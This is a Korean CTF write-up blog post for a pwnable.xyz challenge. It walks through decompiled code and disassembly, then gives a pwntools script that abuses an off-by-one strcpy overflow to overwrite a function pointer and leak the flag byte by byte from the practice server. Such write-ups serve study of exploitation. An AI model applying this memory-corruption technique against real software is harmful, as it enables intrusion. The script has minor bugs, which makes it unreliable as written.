2021. 9. 29. 16:52ㆍPwnable
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // [rsp+Ch] [rbp-4h]
setup(argc, argv, envp);
puts("Muahaha you thought I would never make a crypto chal?");
generate_key(63);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_menu();
printf("> ");
v3 = read_int32();
if ( v3 != 2 )
break;
load_flag();
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_12;
printf("key len: ");
v4 = read_int32();
generate_key(v4);
}
if ( v3 == 3 )
{
print_flag();
}
else if ( v3 != 4 )
{
LABEL_12:
puts("Invalid");
}
}
}
maibn 코드는 위와 같다.
처음에 63바이트짜리 key를 생성하고,
2를 누르면 flag를 읽어서 key값과 xor 시킨다.
int load_flag()
{
unsigned int i; // [rsp+8h] [rbp-8h]
int fd; // [rsp+Ch] [rbp-4h]
fd = open("/flag", 0);
if ( fd == -1 )
{
puts("Can't open flag");
exit(1);
}
read(fd, flag, 0x40uLL);
for ( i = 0; i <= 0x3F; ++i )
flag[i] ^= key[i];
return close(fd);
}
다만 key 값이 랜덤인지라
unsigned __int64 __fastcall generate_key(int a1)
{
int i; // [rsp+18h] [rbp-58h]
int fd; // [rsp+1Ch] [rbp-54h]
char s[72]; // [rsp+20h] [rbp-50h] BYREF
unsigned __int64 v5; // [rsp+68h] [rbp-8h]
v5 = __readfsqword(0x28u);
if ( a1 > 0 && (unsigned int)a1 <= 0x40 )
{
memset(s, 0, sizeof(s));
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("Can't open /dev/urandom");
exit(1);
}
read(fd, s, a1);
for ( i = 0; i < a1; ++i )
{
while ( !s[i] )
read(fd, &s[i], 1uLL);
}
strcpy(key, s);
close(fd);
}
else
{
puts("Invalid key size");
}
return __readfsqword(0x28u) ^ v5;
}
위에서 flag를 읽었다고 해도 어떻게 복화해서 진행해야 할지는 미지수이다.
메모리를 출력할 수 있다면 key부분과 flag를 각각 출력해서 역연산 할 수도 있겠지만, 이는 조금 더 분석을 진행해 봐야 할 것 같다.
또한 3번을 누르면
__int64 print_flag()
{
__int64 result; // rax
puts("WARNING: NOT IMPLEMENTED.");
result = do_comment;
if ( !do_comment )
{
printf("Wanna take a survey instead? ");
if ( getchar() == 0x79 )
do_comment = f_do_comment;
result = do_comment();
}
return result;
}
y를 추가로 입력할 시 f_do_comment가 동작하는데
unsigned __int64 f_do_comment()
{
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+38h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Enter comment: ");
read(0, buf, 33uLL);
return __readfsqword(0x28u) ^ v2;
}
이 또한 canary가 존재해서 어떻게든 사용되기는 하겠지만 그렇게 큰 영향을 미칠 수 있을까 하는 생각이다.
⚡ root@9a02e0bc40b9 /home/ctf checksec challenge
[*] '/home/ctf/challenge'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
게다가 Full RELRO이다.
got overwrite도 불가능 하다.
int real_print_flag()
{
return printf("%s", flag);
}
real_print_flag 란 함수가 존재해서 이를 이용하면 flag를 획득할 수 있을 것 같기도 하다.
프로그램 자체가 어렵게 돌아가는 구조가 아니라서 구동 방법이나 분석은 어느정도 진행된 것 같다.
한 가지 발견한 점은, 프로그램을 실행한 후 1. regenerate key 를 1byte로 생성 한 후 flag를 load해도 프로그램이 죽지 않고 정상적으로 동작한다.
unsigned __int64 __fastcall generate_key(int a1)
{
int i; // [rsp+18h] [rbp-58h]
int fd; // [rsp+1Ch] [rbp-54h]
char s[72]; // [rsp+20h] [rbp-50h] BYREF
unsigned __int64 v5; // [rsp+68h] [rbp-8h]
v5 = __readfsqword(0x28u);
if ( a1 > 0 && a1 <= 0x40 )
{
memset(s, 0, sizeof(s));
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("Can't open /dev/urandom");
exit(1);
}
read(fd, s, a1);
for ( i = 0; i < a1; ++i )
{
while ( !s[i] )
read(fd, &s[i], 1uLL);
}
strcpy(key, s);
close(fd);
}
else
{
puts("Invalid key size");
}
return __readfsqword(0x28u) ^ v5;
}
out of bound가 나야된다고 생각했지만
코드를 살펴보면 for문제서 i < a1 이라고 정의했기에
입력한 길이만큼만 랜덤에서 뽑아오는 것 같다.
지금까지의 과정을 종합해보면 key를 재생성하면 flag를 print하기만 하면 되고, 따로 key값을 알기 위해 역연산을 진행하지 않아도 될 것이다.
그럼 어떻게 real_print_flag 함수를 호출 할 것인가?
처음에 입력하는 변수 v4를 조작하는것은 read_int32() 함수를 호출하기에 불가능 할 것 이다.
그럼 아직 활용하지 않은 부분은 print_flag 에서 f_do_comment 부분인데,
조금 더 자세히 살펴보면
__int64 print_flag()
{
__int64 result; // rax
puts("WARNING: NOT IMPLEMENTED.");
result = do_comment;
if ( !do_comment )
{
printf("Wanna take a survey instead? ");
if ( getchar() == 0x79 )
do_comment = f_do_comment;
result = do_comment();
}
return result;
}
일단 print_flag()함수는 if ( !do_comment ) 조건 문에 의해서 1회만 실행 가능하다.
unsigned __int64 f_do_comment()
{
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+38h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Enter comment: ");
read(0, buf, 33uLL);
return __readfsqword(0x28u) ^ v2;
}
그리고 실행되게 되면 실제로 comment 입력 창은 뜨지만 입력은 받지 않고, do_comment = f_do_comment; 가 실행되여 do_comment에 f_do_comment 주소가 들어가게 된다.
f_do_comment 함수를 유심히 살펴보던 도중
.text:0000000000000B00 real_print_flag proc near
.text:0000000000000B00 ; __unwind {
.text:0000000000000B00 push rbp
.text:0000000000000B01 mov rbp, rsp
.text:0000000000000B04 lea rsi, flag
.text:0000000000000B0B lea rdi, format ; "%s"
.text:0000000000000B12 mov eax, 0
.text:0000000000000B17 call printf
.text:0000000000000B1C nop
.text:0000000000000B1D pop rbp
.text:0000000000000B1E retn
.text:0000000000000B1E ; } // starts at B00
.text:0000000000000B1E real_print_flag endp
.text:0000000000000B1E
.text:0000000000000B1F
.text:0000000000000B1F ; =============== S U B R O U T I N E =======================================
.text:0000000000000B1F
.text:0000000000000B1F ; Attributes: bp-based frame
.text:0000000000000B1F
.text:0000000000000B1F public f_do_comment
.text:0000000000000B1F f_do_comment proc near ; DATA XREF: print_flag+39↓o
.text:0000000000000B1F
.text:0000000000000B1F var_34 = dword ptr -34h
.text:0000000000000B1F buf = byte ptr -30h
.text:0000000000000B1F var_8 = qword ptr -8
.text:0000000000000B1F
.text:0000000000000B1F ; __unwind {
.text:0000000000000B1F push rbp
.text:0000000000000B20 mov rbp, rsp
.text:0000000000000B23 sub rsp, 40h
.text:0000000000000B27 mov rax, fs:28h
.text:0000000000000B30 mov [rbp+var_8], rax
.text:0000000000000B34 xor eax, eax
.text:0000000000000B36 lea rdi, aEnterComment ; "Enter comment: "
.text:0000000000000B3D mov eax, 0
.text:0000000000000B42 call printf
.text:0000000000000B47 mov [rbp+var_34], 21h ; '!'
.text:0000000000000B4E mov eax, [rbp+var_34]
.text:0000000000000B51 movsxd rdx, eax ; nbytes
.text:0000000000000B54 lea rax, [rbp+buf]
.text:0000000000000B58 mov rsi, rax ; buf
.text:0000000000000B5B mov edi, 0 ; fd
.text:0000000000000B60 call read
.text:0000000000000B65 nop
.text:0000000000000B66 mov rax, [rbp+var_8]
.text:0000000000000B6A xor rax, fs:28h
.text:0000000000000B73 jz short locret_B7A
.text:0000000000000B75 call __stack_chk_fail
.text:0000000000000B7A ; ---------------------------------------------------------------------------
real_print_flag 함수의 위치가 너무 예쁘게 뒷자리가 00으로 떨어지는 것을 발견했고, 00을 제외한 나머지 값이 f_do_comment와 일치하는것을 발견했다.
.bss:0000000000202040 key db 40h dup(?) ; DATA XREF: generate_key+E4↑o
.bss:0000000000202040 ; load_flag+73↑o
.bss:0000000000202080 public do_comment
.bss:0000000000202080 ; __int64 (*do_comment)(void)
.bss:0000000000202080 do_comment dq ? ; DATA XREF: print_flag+10↑o
key는 최대 0x40개 까지 생성이 가능하지만,.
strcpy(key, s);
끝에 off by one이 일어나기에 f_do_comment값을 real_print_flag로 변조가 가능하다.
그 후에 정상적으로 real_print_flag를 호출할 수 있는 상황이 되었기에
key를 어떻게 복호화 해야 할 것인가가 관건인데
이 또한 strcpy를 활용해서 모든수 xor 0x0 은 원래 수이기에 한바이트씩 flag를 획득할 수 있다.
pay를 작성해보면 아래와 같다.
from pwn import *
r = remote("svc.pwnable.xyz", 30006)
#context.log_level = "debug"
flag = "F"
def generate_key(size) :
r.sendlineafter("> ", "1")
r.sendlineafter("len: ", str(size))
def load_flag() :
r.sendlineafter("> ", "2")
def print_flag(chr) :
r.sendlineafter("> ", "3")
r.sendlineafter("? ", chr)
print_flag("y")
generate_key(64)
load_flag()
for i in range(1, 0x3f) :
generate_key(str(i))
load_flag()
print_flag("A")
flag += r.recv(0x40)[i]
print(flag)
FLAG라고 생각되는 값을 따냈는데 인증이 안된다.
터미널을 여러개 돌려보니 값이 다 다르다
여러개를 조합해본 결과
이 FLAG였다.. 컴퓨터는 거짓말을 하지 않는다고 맨날 하는데 왜 이런 결과가 나오는진 항상 이상하다..
예전에 redvelvet인가 그 문제도 뭔가 flag값에서 오류가 있었던걸로 기억나는데 이러한 약간의 오류? 계산 문제들은 왜 발생할까..?
암튼 재미있는 문제였다 🙂
'Pwnable' 카테고리의 다른 글
dreamhack.io - iofile_aw (0) | 2021.10.06 |
---|---|
pwnable.xyz - SUS (0) | 2021.09.30 |
dreamhack.io - tcache_dup (0) | 2021.09.26 |
pwnable.xyz - note (0) | 2021.09.11 |
dreamhack.io - house_of_spirit (0) | 2021.09.08 |